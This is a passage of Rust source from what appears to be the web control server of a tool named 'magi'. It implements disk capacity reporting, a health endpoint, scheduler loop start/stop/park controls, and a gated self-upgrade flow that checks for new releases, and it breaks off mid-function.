2667        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2668        stuck_kind: stalled.map(|s| s.kind),
2669        handover_alive: alive.is_some(),
2670        stage: progress.stage,
2671        from: progress.from,
2672        to: progress.to,
2673        waiting_on,
2674        started_at: progress.started_at,
2675        updated_at: progress.updated_at,
2676        detail,
2677    }
2678}
2679
2680/// Last successful capacity observations, independent of admission/cleanup.
2681/// Cold or unavailable directory measurements are null, never invented zeros.
2682#[derive(Debug, Serialize)]
2683struct DiskView {
2684    /// Free bytes on the volume holding the runs, when measurable.
2685    #[serde(skip_serializing_if = "Option::is_none")]
2686    free_bytes: Option<u64>,
2687    /// Everything the runs directory occupies, when fully measurable.
2688    runs_bytes: Option<u64>,
2689    /// Everything the runs' worktrees occupy.
2690    worktrees_bytes: Option<u64>,
2691    /// The shared build cache's size, when the config names one.
2692    #[serde(skip_serializing_if = "Option::is_none")]
2693    cache_bytes: Option<u64>,
2694    /// Last bounded cleanup report, including retention and failure reasons.
2695    retention: Option<crate::retention::Report>,
2696}
2697
2698/// Capacity walks have their own demand-driven single flight, not the revision
2699/// worker: a large build cache must never delay revisions or a health response.
2700const DISK_REFRESH: Duration = Duration::from_secs(60);
2701
2702#[derive(Debug, Clone, PartialEq, Eq)]
2703struct DiskScope {
2704    runs: PathBuf,
2705    worktrees: PathBuf,
2706    cache: Option<PathBuf>,
2707}
2708
2709impl DiskScope {
2710    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2711        Self {
2712            runs: ui.runs.clone(),
2713            worktrees: ui.worktrees_root.clone(),
2714            cache: cfg.and_then(Config::cache_dir),
2715        }
2716    }
2717}
2718
2719#[derive(Debug, Clone, Copy, Default)]
2720struct DiskCapacity {
2721    free_bytes: Option<u64>,
2722    runs_bytes: Option<u64>,
2723    worktrees_bytes: Option<u64>,
2724    cache_bytes: Option<u64>,
2725}
2726
2727impl DiskCapacity {
2728    fn measure(scope: &DiskScope) -> Self {
2729        Self {
2730            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2731            runs_bytes: disk_capacity_size(&scope.runs),
2732            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2733            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2734        }
2735    }
2736
2737    fn retain_successes(&mut self, next: Self) {
2738        self.free_bytes = next.free_bytes.or(self.free_bytes);
2739        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2740        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2741        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2742    }
2743}
2744
2745/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
2746/// best-effort total, an incomplete observation must not look like an empty tree.
2747fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2748    let metadata = match std::fs::symlink_metadata(path) {
2749        Ok(metadata) => metadata,
2750        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2751        Err(_) => return None,
2752    };
2753    if !metadata.is_dir() {
2754        return Some(if metadata.is_file() {
2755            metadata.len()
2756        } else {
2757            0
2758        });
2759    }
2760    let mut total = 0;
2761    let mut stack = vec![path.to_owned()];
2762    while let Some(dir) = stack.pop() {
2763        for entry in std::fs::read_dir(dir).ok()? {
2764            let entry = entry.ok()?;
2765            let metadata = entry.metadata().ok()?;
2766            if metadata.is_dir() {
2767                stack.push(entry.path());
2768            } else if metadata.is_file() {
2769                total += metadata.len();
2770            }
2771        }
2772    }
2773    Some(total)
2774}
2775
2776#[derive(Debug, Default)]
2777struct DiskObservation {
2778    scope: Option<DiskScope>,
2779    capacity: DiskCapacity,
2780    in_flight: bool,
2781    finished: Option<std::time::Instant>,
2782}
2783
2784impl DiskObservation {
2785    fn observe(
2786        state: &Arc<Mutex<Self>>,
2787        scope: DiskScope,
2788        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2789    ) -> DiskCapacity {
2790        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2791        if observation.scope.as_ref() != Some(&scope) {
2792            observation.scope = Some(scope.clone());
2793            observation.capacity = DiskCapacity::default();
2794            observation.finished = None;
2795        }
2796        let capacity = observation.capacity;
2797        if observation.in_flight
2798            || observation
2799                .finished
2800                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2801        {
2802            return capacity;
2803        }
2804        observation.in_flight = true;
2805        drop(observation);
2806
2807        let refresh = DiskRefresh {
2808            state: Arc::clone(state),
2809            scope,
2810        };
2811        tokio::task::spawn_blocking(move || {
2812            let next = measure(&refresh.scope);
2813            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2814            if observation.scope.as_ref() == Some(&refresh.scope) {
2815                observation.capacity.retain_successes(next);
2816            }
2817            drop(observation);
2818            // The guard also clears the flight on panic or a cancelled,
2819            // not-yet-started blocking job. No failed scan can wedge health.
2820            drop(refresh);
2821        });
2822        capacity
2823    }
2824}
2825
2826struct DiskRefresh {
2827    state: Arc<Mutex<DiskObservation>>,
2828    scope: DiskScope,
2829}
2830
2831impl Drop for DiskRefresh {
2832    fn drop(&mut self) {
2833        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2834        observation.in_flight = false;
2835        if observation.scope.as_ref() == Some(&self.scope) {
2836            // Wait a full period after completion, including failed scans.
2837            observation.finished = Some(std::time::Instant::now());
2838        }
2839    }
2840}
2841
2842impl DiskView {
2843    /// Return immediately, retaining known capacity while one worker refreshes.
2844    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2845        let capacity = DiskObservation::observe(
2846            &ui.monitor.disk,
2847            DiskScope::of(ui, cfg),
2848            DiskCapacity::measure,
2849        );
2850        Self::with_capacity(ui, capacity)
2851    }
2852
2853    fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2854        Self {
2855            free_bytes: crate::disk::free_bytes(&ui.runs)
2856                .ok()
2857                .or(capacity.free_bytes),
2858            runs_bytes: capacity.runs_bytes,
2859            worktrees_bytes: capacity.worktrees_bytes,
2860            cache_bytes: capacity.cache_bytes,
2861            retention: ui
2862                .runs
2863                .parent()
2864                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2865                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2866        }
2867    }
2868}
2869
2870/// The daemon's state as the UI presents it.
2871#[derive(Debug, Serialize)]
2872struct DaemonView {
2873    running: bool,
2874    idle: Option<bool>,
2875    pid: Option<u32>,
2876    /// Every task and run currently in flight. Empty when idle; more than
2877    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2878    /// run going at once.
2879    current: Vec<daemon::Current>,
2880    completed: Option<u64>,
2881    stale_for_secs: Option<i64>,
2882}
2883
2884impl DaemonView {
2885    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2886    /// not this UI's — a crashed daemon must not look alive here while
2887    /// `doctor` calls it dead.
2888    fn of(status: Option<daemon::Reading>) -> Self {
2889        let Some(status) = status else {
2890            return Self {
2891                running: false,
2892                idle: None,
2893                pid: None,
2894                current: Vec::new(),
2895                completed: None,
2896                stale_for_secs: None,
2897            };
2898        };
2899        let now = Timestamp::now();
2900        let age = status.age_secs(now);
2901        Self {
2902            running: status.running(now),
2903            idle: Some(status.idle),
2904            pid: status.pid,
2905            current: status.current,
2906            completed: Some(status.completed),
2907            stale_for_secs: age,
2908        }
2909    }
2910}
2911
2912// Discover display configuration off the request path. Capacity measurement
2913// retains its separate single flight and scope/failure handling below.
2914fn refresh_health_config(ui: &Arc<Ui>) {
2915    let mut cache = ui
2916        .monitor
2917        .disk_cache
2918        .lock()
2919        .unwrap_or_else(PoisonError::into_inner);
2920    if cache.loading
2921        || cache
2922            .measured
2923            .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
2924    {
2925        return;
2926    }
2927    cache.loading = true;
2928    let weak = Arc::downgrade(ui);
2929    std::thread::spawn(move || {
2930        let Some(ui) = weak.upgrade() else { return };
2931        let cfg = deputy_config(&ui.repo);
2932        let update = cached_update_view(cfg.as_ref());
2933        let mut cache = ui
2934            .monitor
2935            .disk_cache
2936            .lock()
2937            .unwrap_or_else(PoisonError::into_inner);
2938        cache.config = cfg;
2939        cache.update = Some(update);
2940        cache.measured = Some(std::time::Instant::now());
2941        cache.loading = false;
2942    });
2943}
2944
2945fn health_counts(
2946    ui: &Ui,
2947    fallback_questions_rev: u64,
2948) -> ApiResult<(usize, usize, usize, u64, usize)> {
2949    let mut index = ui
2950        .monitor
2951        .health_index
2952        .lock()
2953        .unwrap_or_else(PoisonError::into_inner);
2954    let ids = run_ids(&ui.runs);
2955    let seen: HashSet<_> = ids.iter().cloned().collect();
2956    index.runs.retain(|id, _| seen.contains(id));
2957    let mut unreadable = 0;
2958    for id in ids {
2959        // Recheck identity on every request, including atomic replacements
2960        // with preserved length/mtime. A failed stat is never cached as good.
2961        let identity = file_identity(&ui.runs.join(&id).join("run.json"));
2962        let bad = match identity {
2963            Ok(identity) => {
2964                if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
2965                    let bad = read_run(&ui.runs, &id).is_err();
2966                    index.runs.insert(id.clone(), (identity, bad));
2967                    #[cfg(test)]
2968                    {
2969                        index.run_parses += 1;
2970                    }
2971                }
2972                index.runs[&id].1
2973            }
2974            Err(_) => true,
2975        };
2976        unreadable += usize::from(bad);
2977    }
2978    let questions_rev = try_stamps(ui.questions.root(), false, true)
2979        .map(|stamps| stamps_revision(&stamps))
2980        .unwrap_or(fallback_questions_rev);
2981    if index.questions.as_ref().is_none_or(|counts| {
2982        counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
2983    }) {
2984        let questions = ui.questions.list();
2985        index.questions = Some(QuestionCounts {
2986            revision: questions_rev,
2987            measured: std::time::Instant::now(),
2988            open: questions.iter().filter(|q| q.status.open()).count(),
2989            owner: questions
2990                .iter()
2991                .filter(|q| {
2992                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
2993                })
2994                .count(),
2995        });
2996    }
2997    let notifications_rev =
2998        stamps_revision(&try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?);
2999    if index
3000        .notices
3001        .is_none_or(|(rev, _)| rev != notifications_rev)
3002    {
3003        index.notices = Some((notifications_rev, ui.notices.count_unread()));
3004    }
3005    let questions = index.questions.as_ref().unwrap();
3006    Ok((
3007        unreadable,
3008        questions.open,
3009        questions.owner,
3010        notifications_rev,
3011        index.notices.unwrap().1,
3012    ))
3013}
3014
3015async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3016    let revisions = ui.monitor.revisions(&ui).await?;
3017    refresh_health_config(&ui);
3018    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3019        // One read of the status file for the two fields that describe it, so
3020        // `daemon` and `loop` in the same answer cannot disagree about who is
3021        // running the loop.
3022        let reading = daemon::read_status(&ui.home);
3023        // Read on its own line, not inside the literal below: the loop's lock
3024        // is not reentrant, and a guard taken as a temporary there would still
3025        // be held when `loop_view` took it again.
3026        let loop_rev = ui.lock_loop().rev;
3027        let (
3028            runs_unreadable,
3029            questions_open,
3030            questions_needs_owner,
3031            notifications_rev,
3032            notifications_unread,
3033        ) = health_counts(&ui, revisions.2)?;
3034        let ((cfg, config_observed, sizes, measured), update) = {
3035            let cache = ui
3036                .monitor
3037                .disk_cache
3038                .lock()
3039                .unwrap_or_else(PoisonError::into_inner);
3040            (
3041                (
3042                    cache.config.clone(),
3043                    cache.measured.is_some(),
3044                    cache.disk.clone(),
3045                    cache.measured,
3046                ),
3047                cache.update.clone().unwrap_or(UpdateView {
3048                    available: false,
3049                    to: None,
3050                }),
3051            )
3052        };
3053        // Retain the base's capacity observation independently of config
3054        // refreshes. A cold config read may still be pending; an existing
3055        // capacity flight must remain visible to concurrent health requests.
3056        let prior_capacity = {
3057            let mut observation = ui
3058                .monitor
3059                .disk
3060                .lock()
3061                .unwrap_or_else(PoisonError::into_inner);
3062            // Adopt a completed size snapshot only before the scoped capacity
3063            // observer has started. Later scope changes remain its authority.
3064            if observation.scope.is_none()
3065                && let Some(sizes) = sizes
3066            {
3067                observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3068                observation.capacity = DiskCapacity {
3069                    runs_bytes: Some(sizes.runs),
3070                    worktrees_bytes: Some(sizes.worktrees),
3071                    cache_bytes: sizes.cache,
3072                    free_bytes: None,
3073                };
3074                observation.finished = measured;
3075            }
3076            observation.scope.as_ref().map(|_| observation.capacity)
3077        };
3078        let disk = if config_observed {
3079            serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3080        } else {
3081            serde_json::to_value(DiskView::with_capacity(
3082                &ui,
3083                prior_capacity.unwrap_or_default(),
3084            ))
3085            .ok()
3086        };
3087        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3088        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3089        #[cfg(not(test))]
3090        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3091        #[cfg(test)]
3092        let looping = ui.loop_view(reading.clone());
3093        Ok(Json(HealthView {
3094            jobs: jobs.into_iter().map(WorkerView::from).collect(),
3095            version: env!("CARGO_PKG_VERSION"),
3096            home: ui.home.display().to_string(),
3097            queue_rev: revisions.0,
3098            runs_rev: revisions.1,
3099            questions_rev: revisions.2,
3100            talks_rev: revisions.3,
3101            notifications_rev,
3102            notifications_unread,
3103            loop_rev,
3104            runs_unreadable,
3105            questions_open,
3106            questions_needs_owner,
3107            daemon: DaemonView::of(reading.clone()),
3108            looping,
3109            disk,
3110            update,
3111            upgrade,
3112            upgrade_request_error: ui
3113                .upgrade_request_error
3114                .lock()
3115                .unwrap_or_else(PoisonError::into_inner)
3116                .clone(),
3117        }))
3118    })
3119    .await
3120}
3121
3122/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
3123#[derive(Debug, Serialize)]
3124struct LoopView {
3125    /// A scheduler is running, independently of this web process.
3126    running: bool,
3127    /// The scheduler has been asked to stop scheduling new work.
3128    stopping: bool,
3129    /// An explicit operator park was requested, independently from updates.
3130    parking: bool,
3131    /// This scheduler supports durable controls from any web generation.
3132    owned: bool,
3133    /// Repository the loop uses for tasks that name none - what it was
3134    /// started with while it runs, and what a start would use before that.
3135    repo: String,
3136    /// Merge mode override in force, or `null` when each repository's own
3137    /// config decides.
3138    merge: Option<String>,
3139    /// Why the last loop in this process ended, when it ended badly.
3140    ///
3141    /// The only place a crashed loop is visible to someone holding a phone.
3142    /// It is logged at error level as well, but a terminal nobody kept open
3143    /// is not a report, and a loop that died at 3am must not read as merely
3144    /// stopped in the morning. Named as [`Task::last_error`] is, because it
3145    /// answers the same question about the same kind of failure.
3146    last_error: Option<String>,
3147    /// The status file, judged the same way `/api/health` judges it: this is
3148    /// what says whether a loop is alive in some *other* process.
3149    daemon: DaemonView,
3150}
3151
3152/// A legacy embedded scheduler that this web process cannot control.
3153///
3154/// Worker-protocol schedulers use durable controls regardless of which process
3155/// started them. Older schedulers are identified by their foreign heartbeat.
3156#[derive(Debug, Clone, Copy)]
3157struct Foreign {
3158    /// The pid the other process published, when it published one.
3159    pid: Option<u32>,
3160}
3161
3162impl Foreign {
3163    /// Another process's live loop, or `None` when this process is free to
3164    /// run one.
3165    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3166        // A fresh heartbeat with no pid in it is still evidence of a live
3167        // daemon. "Some other process" is the honest answer, and refusing
3168        // to start beside it is the safe one.
3169        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3170            return None;
3171        }
3172        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3173    }
3174
3175    /// How a conflict names it. The pid is the whole point of the message: it
3176    /// is what the operator needs to find the terminal that owns the loop.
3177    fn who(&self) -> String {
3178        match self.pid {
3179            Some(pid) => format!("another magi process (pid {pid})"),
3180            None => "another magi process".to_owned(),
3181        }
3182    }
3183}
3184
3185/// How a loop is started, as a future this module can hold onto.
3186///
3187/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
3188/// trait object or a hand-written `Debug` impl for the sake of one seam.
3189type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3190
3191#[cfg(test)]
3192type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3193
3194/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
3195#[cfg(test)]
3196fn launch_daemon(
3197    opts: daemon::Opts,
3198    stop: daemon::Stop,
3199) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3200    Box::pin(daemon::serve_until(opts, stop))
3201}
3202
3203/// Local web-control revisions and errors, plus the unit-test launch seam.
3204#[derive(Debug, Default)]
3205struct LoopState {
3206    /// The loop, while there is one.
3207    #[cfg(test)]
3208    live: Option<Live>,
3209    /// Local control changes streamed as `loop_rev`; actual scheduler and
3210    /// execution ownership comes from durable status and OS-held worker leases.
3211    rev: u64,
3212    /// Why the last loop ended, when it ended badly. See
3213    /// [`LoopView::last_error`].
3214    last_error: Option<String>,
3215}
3216
3217/// A loop in flight.
3218#[cfg(test)]
3219#[derive(Debug)]
3220struct Live {
3221    /// The cooperative stop, shared with the loop task.
3222    stop: daemon::Stop,
3223    /// The task itself, kept only to answer whether it is still there: a loop
3224    /// that panicked never records its own end, and without this the view
3225    /// would go on reporting a loop that no longer exists - the one lie that
3226    /// would leave the operator with no button to press.
3227    handle: tokio::task::JoinHandle<()>,
3228    /// What the loop was started with, so the view reports the repository and
3229    /// merge mode its runs will actually use rather than what an edit to the
3230    /// config since would give.
3231    opts: daemon::Opts,
3232}
3233
3234#[cfg(test)]
3235impl Live {
3236    /// Is the task still there? See [`Live::handle`].
3237    fn alive(&self) -> bool {
3238        !self.handle.is_finished()
3239    }
3240}
3241
3242/// Take the loop lock, recovering from a poisoned one.
3243///
3244/// What this mutex holds is a stop flag, a task handle and two counters, none
3245/// of which a panic elsewhere can leave in a state worth refusing to read.
3246/// Propagating the poison instead would mean an operator who can see the loop
3247/// running and can no longer stop it from the only surface they have.
3248fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3249    state.lock().unwrap_or_else(PoisonError::into_inner)
3250}
3251
3252/// `GET /api/loop`.
3253async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3254    blocking(move || {
3255        let reading = daemon::read_status(&ui.home);
3256        #[cfg(not(test))]
3257        let view = ui.try_loop_view(reading)?;
3258        #[cfg(test)]
3259        let view = ui.loop_view(reading);
3260        Ok(Json(view))
3261    })
3262    .await
3263}
3264
3265/// The body of `POST /api/loop`.
3266///
3267/// One required field and nothing else: no `default` and no unknown fields,
3268/// so a body that fails to say which way the switch was flipped is a 400
3269/// rather than a tap that quietly does the opposite of what was pressed.
3270#[derive(Debug, Deserialize)]
3271#[serde(deny_unknown_fields)]
3272struct LoopCommand {
3273    running: bool,
3274    /// Stop the run in flight at its next node boundary rather than letting it
3275    /// finish.
3276    ///
3277    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3278    /// competition is tens of minutes of paid work and finishing it is
3279    /// normally the cheapest thing to do. A park is for the operator who
3280    /// wants the process gone now - to replace the binary, most of all - and
3281    /// it costs at most the node in progress because every node writes its
3282    /// state before the next one starts.
3283    #[serde(default)]
3284    park: bool,
3285}
3286
3287/// Start or control the detached scheduler without waiting for execution
3288/// workers. Only an explicit park asks workers to stop at a node boundary.
3289async fn loop_post(
3290    State(ui): State<Arc<Ui>>,
3291    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3292) -> ApiResult<Json<LoopView>> {
3293    // Taken as a `Result` so a malformed body is a 400 like every other route
3294    // here, rather than axum's default 422 that the UI has no branch for.
3295    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3296    #[cfg(not(test))]
3297    {
3298        if body.running {
3299            ui.start_detached_loop().await?;
3300        } else {
3301            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3302            ui.stop_loop(foreign, body.park)?;
3303        }
3304        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3305    }
3306    #[cfg(test)]
3307    {
3308        blocking(move || {
3309            let reading = daemon::read_status(&ui.home);
3310            let foreign = Foreign::of(reading.as_ref());
3311            if body.running {
3312                ui.start_loop(foreign)?;
3313            } else {
3314                ui.stop_loop(foreign, body.park)?;
3315            }
3316            Ok(Json(ui.loop_view(reading)))
3317        })
3318        .await
3319    }
3320}
3321
3322/// What `POST /api/upgrade` set in motion.
3323#[derive(Debug, Serialize)]
3324struct UpgradeView {
3325    /// The version this process is running.
3326    from: String,
3327    /// The release it is replacing itself with, when there is one.
3328    to: Option<String>,
3329    /// What the operator should expect to happen next.
3330    detail: String,
3331}
3332
3333/// The stage of an upgrade that is still moving, if the record says so.
3334/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3335fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3336    progress.filter(|p| !p.stage.terminal())
3337}
3338
3339/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3340/// Unknown diagnostics retain their complete message without guessing a delay.
3341fn upgrade_retry_after(message: &str) -> Option<u64> {
3342    if !message.contains("GitHub") || !message.contains("rate limit") {
3343        return None;
3344    }
3345    if message.contains("retry now") {
3346        return Some(0);
3347    }
3348    let duration = message
3349        .split_once("resets in ")
3350        .or_else(|| message.split_once("retry after "))?
3351        .1
3352        .split_once(')')?
3353        .0;
3354    let mut rest = duration.trim();
3355    if rest.is_empty() {
3356        return None;
3357    }
3358    let mut total = 0u64;
3359    while !rest.is_empty() {
3360        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3361        let amount: u64 = rest[..n].parse().ok()?;
3362        let scale = match rest[n..].chars().next()? {
3363            's' => 1,
3364            'm' => 60,
3365            'h' => 3600,
3366            'd' => 86400,
3367            _ => return None,
3368        };
3369        total = total.checked_add(amount.checked_mul(scale)?)?;
3370        rest = rest[n + 1..].trim_start();
3371    }
3372    Some(total)
3373}
3374
3375#[derive(Debug, Clone, Serialize)]
3376struct UpgradeRequestFailure {
3377    occurred_at: String,
3378    error: String,
3379    retry_after_secs: Option<u64>,
3380    /// Unix seconds; independent of the phone's polling cadence.
3381    retry_at: Option<u64>,
3382}
3383
3384impl UpgradeRequestFailure {
3385    fn new(error: String) -> Self {
3386        let retry_after_secs = upgrade_retry_after(&error);
3387        let now = std::time::SystemTime::now()
3388            .duration_since(std::time::UNIX_EPOCH)
3389            .unwrap_or_default()
3390            .as_secs();
3391        Self {
3392            occurred_at: jiff::Timestamp::now().to_string(),
3393            error,
3394            retry_after_secs,
3395            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3396        }
3397    }
3398}
3399
3400/// `POST /api/upgrade` - replace this binary with the newest release and come
3401/// back on it.
3402///
3403/// Replace the installed binary, restart the detached scheduler, release the
3404/// web listener, then start the successor. Active task and conversation
3405/// workers retain their immutable executable and continue without parking.
3406///
3407/// A legacy embedded scheduler is the only incompatible owner: its work
3408/// must finish or park before the first migration replaces its process.
3409///
3410/// Answers **202**: the reply has to reach the phone while this process can
3411/// still send one, and the phone learns the deck is back by reconnecting.
3412async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3413    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3414}
3415
3416async fn begin_upgrade(
3417    ui: &Arc<Ui>,
3418    trigger: updater::UpgradeTrigger,
3419    latest: Option<kaishin::LatestRelease>,
3420) -> Response {
3421    let reading = daemon::read_status(&ui.home);
3422    if let Some(other) = Foreign::of(reading.as_ref()) {
3423        return ApiError::conflict(format!(
3424            "{} is a legacy scheduler without detached restart support. \
3425             Finish or explicitly park its work in the existing UI before \
3426             this first migration; independent schedulers do not need this.",
3427            other.who()
3428        ))
3429        .into_response();
3430    }
3431
3432    // A second upgrade while one is moving would replace the binary and
3433    // signal the handover again after `serve` already consumed the first
3434    // signal, leaving the process in `replaced` forever. Try-lock rather than
3435    // wait: a phone connection must not hang behind a GitHub round trip.
3436    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3437        return ApiError::conflict("another request is already preparing an upgrade")
3438            .into_response();
3439    };
3440    // Hold the same gate through recording/clearing the request outcome, so
3441    // an older response cannot overwrite a retry's result.
3442    if trigger == updater::UpgradeTrigger::Auto {
3443        let cfg = match Config::discover(&ui.repo, None) {
3444            Ok((cfg, _)) => cfg,
3445            Err(e) => {
3446                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3447            }
3448        };
3449        let Some(latest) = latest else {
3450            return StatusCode::NO_CONTENT.into_response();
3451        };
3452        let busy = ui.auto_upgrade_busy();
3453        let failed = ui
3454            .auto_failed_tag
3455            .lock()
3456            .unwrap_or_else(PoisonError::into_inner)
3457            .clone();
3458        let decision = auto_upgrade_decision(
3459            &cfg.update,
3460            updater::disabled_by_env(),
3461            ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3462                || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3463            busy,
3464            &latest.tag_name,
3465            failed.as_deref(),
3466        );
3467        if decision != AutoUpgradeDecision::Trigger {
3468            let reason = match decision {
3469                AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3470                AutoUpgradeDecision::Skip(reason) => reason,
3471                AutoUpgradeDecision::Trigger => unreachable!(),
3472            };
3473            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3474            return StatusCode::NO_CONTENT.into_response();
3475        }
3476        // Close run admission, then recheck under the same request gate.
3477        // A resume that got in before the flag is visible in `resuming`;
3478        // one that arrives afterwards is refused by `begin_resume`.
3479        ui.upgrade_spawned
3480            .store(true, std::sync::atomic::Ordering::SeqCst);
3481        if ui.auto_upgrade_busy() {
3482            ui.upgrade_spawned
3483                .store(false, std::sync::atomic::Ordering::SeqCst);
3484            updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3485            return StatusCode::NO_CONTENT.into_response();
3486        }
3487        updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
3488        return finish_upgrade_request(
3489            ui,
3490            upgrade_checked_for(
3491                ui,
3492                env!("CARGO_PKG_VERSION").into(),
3493                Ok(Some(latest)),
3494                trigger,
3495            ),
3496        );
3497    }
3498    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3499}
3500
3501fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3502    match result {
3503        Ok(out) => {
3504            *ui.upgrade_request_error
3505                .lock()
3506                .unwrap_or_else(PoisonError::into_inner) = None;
3507            out.into_response()
3508        }
3509        Err(error) if error.status != StatusCode::CONFLICT => {
3510            let failure = UpgradeRequestFailure::new(error.message);
3511            *ui.upgrade_request_error
3512                .lock()
3513                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3514            let mut response = (error.status, Json(&failure)).into_response();
3515            if let Some(value) = failure
3516                .retry_after_secs
3517                .and_then(|secs| secs.to_string().parse().ok())
3518            {
3519                response.headers_mut().insert("retry-after", value);
3520            }
3521            response
3522        }
3523        Err(error) => error.into_response(),
3524    }
3525}
3526
3527async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3528    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3529        return Err(ApiError::conflict(
3530            "an upgrade is already in progress (this process started one and it \
3531             has not finished or failed yet)",
3532        ));
3533    }
3534    let recorded = updater::read_progress(&ui.home);
3535    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3536        return Err(ApiError::conflict(format!(
3537            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3538             stays stuck, restart the deck; on start it settles a stale record.",
3539            p.stage.as_str(),
3540            p.from,
3541            p.to.as_deref().unwrap_or("?"),
3542        )));
3543    }
3544
3545    // The same kill switch the background check honours (`disabled_by_env`),
3546    // checked before anything else for the same reason it is read before the
3547    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3548    // contact GitHub from this process", and a button press must not
3549    // override that any more than a broken `magi.toml` may.
3550    if crate::updater::disabled_by_env() {
3551        return Ok((
3552            StatusCode::OK,
3553            Json(UpgradeView {
3554                from: env!("CARGO_PKG_VERSION").to_owned(),
3555                to: None,
3556                detail: format!(
3557                    "Automatic updates are disabled by {}. Nothing was parked \
3558                     and nothing restarted.",
3559                    crate::updater::NO_AUTOUPDATE_ENV
3560                ),
3561            }),
3562        ));
3563    }
3564
3565    // Check before disturbing listeners or scheduling: no available update
3566    // means there is no reason to restart anything.
3567    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3568    let from = env!("CARGO_PKG_VERSION").to_owned();
3569    let latest = match crate::updater::Checker::new(&cfg.update) {
3570        Some(checker) => checker.newer_release().await,
3571        None => Ok(None),
3572    };
3573    upgrade_checked(ui, from, latest)
3574}
3575
3576fn upgrade_checked(
3577    ui: &Arc<Ui>,
3578    from: String,
3579    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3580) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3581    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3582}
3583
3584fn upgrade_checked_for(
3585    ui: &Arc<Ui>,
3586    from: String,
3587    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3588    trigger: updater::UpgradeTrigger,
3589) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3590    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3591    let Some(latest) = latest else {
3592        return Ok((
3593            StatusCode::OK,
